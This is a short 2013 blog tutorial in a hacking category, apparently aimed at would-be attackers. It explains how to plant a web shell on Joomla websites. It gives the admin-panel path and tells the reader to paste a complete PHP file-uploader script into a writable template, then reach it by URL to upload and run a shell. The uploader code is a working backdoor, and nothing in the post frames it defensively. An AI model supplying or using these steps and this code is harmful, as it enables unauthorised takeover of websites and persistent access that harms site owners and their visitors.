Trang chủ » Local Attack » Shell » TUTORIALS » Upload your shell to joomla websites

18 thg 4, 2013

Upload your shell to joomla websites

1 / Login to the Admin Panel :

Code:

http://www.site.com/administrator/

2 / Locate " Template Manager" in "Extention" and click on any template you want. I choose "beez" For an exemple.

3 / Now click on "Edit HTML" . The Template must be writable.

4/ Next exit the text and paste a .php uploader script. (you can use this if you don't have one)

Code:

<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>credits : http://www.dl4hacks.net</b><br><br>'; } else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>

5 / Click on update file, and locate the theme name, Now Goto:

Code:

http://www.site.com/templates/beez/index.php

You will get upload option, now select your shell and upload it and to view it just goto the same directory.

Code:

http://www.site.com/templates/beez/shell.php

Không có nhận xét nào:

Đăng nhận xét